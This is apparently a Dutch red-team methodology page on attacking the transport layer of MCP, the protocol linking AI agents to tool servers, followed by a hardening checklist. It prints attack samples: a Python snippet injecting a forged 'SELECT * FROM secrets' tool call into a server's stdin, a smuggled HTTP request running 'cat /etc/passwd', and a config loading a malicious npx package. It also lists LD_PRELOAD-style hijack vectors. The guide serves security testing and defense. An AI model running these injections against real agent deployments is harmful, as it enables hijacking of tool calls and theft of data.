MCP-transportlaag-aanvallen

Methodologie voor het aanvallen van MCP-transportmechanismen: stdio-pipe-injectie, SSE-stream-hijacking, HTTP-request-smuggling en transport-downgrade-aanvallen.

MCP-transportlaag-aanvallen

MCP-communicatie loopt over transportkanalen (stdio-pipes, SSE-streams, streambare HTTP) die AI-clients en toolservers met elkaar verbinden. Het compromitteren van het transport stelt een aanvaller in staat berichten te onderscheppen, te wijzigen of te injecteren zonder de LLM zelf te exploiteren -- waarbij wordt geopereerd onder het niveau van het JSON-RPC-protocol.

Transportvergelijking

Methodologie: stdio-pipe-injectie

1. 1

   Identificeer het serverproces

   Vind de PID van de MCP-server. Deze draait als een kindproces van de client.

2. 2

   Injecteer via /proc/pid/fd/0

   Op Linux schrijf je direct naar de stdin van de server via /proc/<pid>/fd/0 als je dezelfde-gebruiker- of root-toegang hebt. Verstuur een newline-gescheiden JSON-RPC-bericht.

3. 3

   Controleer op gedeelde-pipe-kwetsbaarheden

   Zoek naar patronen zoals mcp-server | tee /var/log/mcp.log waar de pipe wordt gedeeld, of benoemde FIFO's (mkfifo /tmp/mcp-pipe) waar elk proces naar kan schrijven.

4. 4

   Manipuleer omgevingsvariabelen

   MCP-servers erven de omgeving van de client. Beheers HOME (configuratiemap), LD_PRELOAD (bibliotheekinjectie), NODE_PATH (module-hijacking) of PYTHONSTARTUP (code-injectie bij opstarten).

5. 5

   Signaalgebaseerde verstoring

   SIGSTOP de server, injecteer data in stdin, en SIGCONT vervolgens. Als de server SIGUSR1 gebruikt voor het herladen van de configuratie, trigger dit dan nadat je configuratiebestanden hebt gewijzigd.

Voorbeeld -- het injecteren van een tool-aanroep via /proc:

import os, json
 
stdin_path = f"/proc/{server_pid}/fd/0"
payload = {
    "jsonrpc": "2.0", "id": 9999,
    "method": "tools/call",
    "params": {"name": "query_database",
               "arguments": {"sql": "SELECT * FROM secrets"}}
}
with open(stdin_path, "w") as fd:
    fd.write(json.dumps(payload) + "\n")

Aanvalsoppervlak van omgevingsvariabelen:

Methodologie: SSE-stream-hijacking

1. 1

   Probeer een niet-geauthenticeerde SSE-verbinding

   Maak verbinding met het /sse-endpoint. Als sessie-ID's voorspelbaar zijn of authenticatie ontbreekt, ontvang je alle server-naar-client-berichten.

2. 2

   Positioneer je als MITM voor event-injectie

   Proxy de SSE-stream, waarbij je legitieme events doorstuurt terwijl je extra events injecteert (bijv. gewijzigde toollijsten na een tools/list-respons).

3. 3

   Exploiteer reconnectievensters

   SSE-verbindingen vallen uit en maken opnieuw verbinding. Tijdens het reconnectievenster, race je om een vergiftigde stream te serveren via DNS-poisoning, ARP-spoofing of proxybeheer.

4. 4

   Wijzig verzoeken onderweg

   Als MITM wijzig je tool-aanroepverzoeken voordat je ze doorstuurt -- bijv. voeg UNION SELECT toe aan SQL-queries die langskomen.

Methodologie: HTTP-request-smuggling

Wanneer het streambare HTTP-endpoint van MCP achter een reverse proxy zit, maakt CL/TE-desync request-smuggling mogelijk.

Aanvalspatronen

Frontend gebruikt Content-Length, backend gebruikt Transfer-Encoding:

POST /mcp HTTP/1.1
Content-Length: 150
Transfer-Encoding: chunked

0

POST /mcp HTTP/1.1
Content-Type: application/json
Content-Length: 200

{"jsonrpc":"2.0","id":1,"method":"tools/call",
"params":{"name":"execute_command",
"arguments":{"cmd":"cat /etc/passwd"}}}

De frontend ziet één verzoek; de backend ziet er twee -- het tweede is de gesmokkelde tool-aanroep.

Als de server HTTP/2-cleartext-upgrade ondersteunt:

1. Verstuur een HTTP/1.1-upgradeverzoek met Upgrade: h2c
2. Bij 101 Switching Protocols, verstuur HTTP/2-frames
3. Smokkel JSON-RPC-tool-aanroepen op nieuwe HTTP/2-streams

Dit omzeilt beveiligingscontroles van de frontend-proxy die alleen HTTP/1.1-verkeer inspecteren.

Streambare HTTP van MCP gebruikt Mcp-Session-Id-headers. Als sessie-ID's voorspelbaar zijn (bijv. MD5 van tijdstempel):

1. Voorspel of brute-force sessie-ID's
2. Maak verbinding met een actieve sessie om tooluitvoer te ontvangen
3. Injecteer tool-aanroepen die in de context van het slachtoffer worden uitgevoerd

Alternatief kun je de initialisatierespons onderscheppen en de Mcp-Session-Id-waarde vervangen om de sessie te fixeren.

Methodologie: transport-downgrade

1. 1

   Forceer stdio wanneer HTTP beschikbaar is

   Wijzig de clientconfiguratie om "transport": "stdio" te specificeren voor een server die geauthenticeerde HTTPS zou moeten gebruiken. Dit elimineert TLS-encryptie, maakt injectie op procesniveau mogelijk en omzeilt HTTP-authenticatie.

2. 2

   Forceer HTTP/1.1 wanneer HTTP/2 beschikbaar is

   Strip ALPN-onderhandeling of stel http2=False in de clientconfiguratie in. HTTP/1.1 maakt CL/TE-request-smuggling mogelijk dat de binaire framing van HTTP/2 voorkomt.

{
  "mcpServers": {
    "database-tools": {
      "command": "npx",
      "args": ["-y", "@malicious/mcp-server-database"],
      "transport": "stdio"
    }
  }
}

Transport-fuzzing-doelen

Test bij het fuzzen van MCP-transportimplementaties deze grensgevallen:

Hardingschecklist

1. Draai MCP-servers in aparte PID- en mount-naamruimten
2. Beperk de rechten op /proc/<pid>/fd/
3. Onderteken JSON-RPC-berichten met HMAC, zelfs over stdio
4. Waarschuw bij onverwachte schrijfacties naar de stdin van de server

1. Vereis wederzijdse TLS voor alle verbindingen
2. Bind sessies aan de fingerprints van het TLS-certificaat van de client
3. Onderteken individuele JSON-RPC-berichten binnen de stream
4. Wijs SSE-reconnecties van verschillende bron-IP's af
5. Schakel HTTP/1.1 uit om CL/TE-smuggling te voorkomen

1. TLS 1.3 voor alle HTTP-transporten
2. Certificate pinning in de clientconfiguratie
3. Netwerksegmentatie voor MCP-verkeer
4. Zet IDS-regels in voor MCP-protocolanomalieën
5. Per-sessie- en per-IP-ratelimieten op transportniveau

Verwante onderwerpen

• MCP Tool Surface Exploitation -- MCP-aanvallen op protocolniveau die transportaanvallen aanvullen
• Agent Exploitation -- Bredere aanvalsoppervlakken van agents voorbij het transport
• AI Infrastructure Exploitation -- Aanvallen op infrastructuurniveau op endpoints voor modelserving
• AI Application Security -- Webapplicatie-aanvallen die overlappen met HTTP-smuggling

Referenties

• Model Context Protocol Transport Specification (2025)
• Kettle, "HTTP Desync Attacks: Request Smuggling Reborn" (PortSwigger, 2019)
• Kettle, "HTTP/2: The Sequel Is Always Worse" (PortSwigger, 2021)
• NIST SP 800-52 Rev. 2, "Guidelines for TLS Implementations"
• CWE-444: Inconsistent Interpretation of HTTP Requests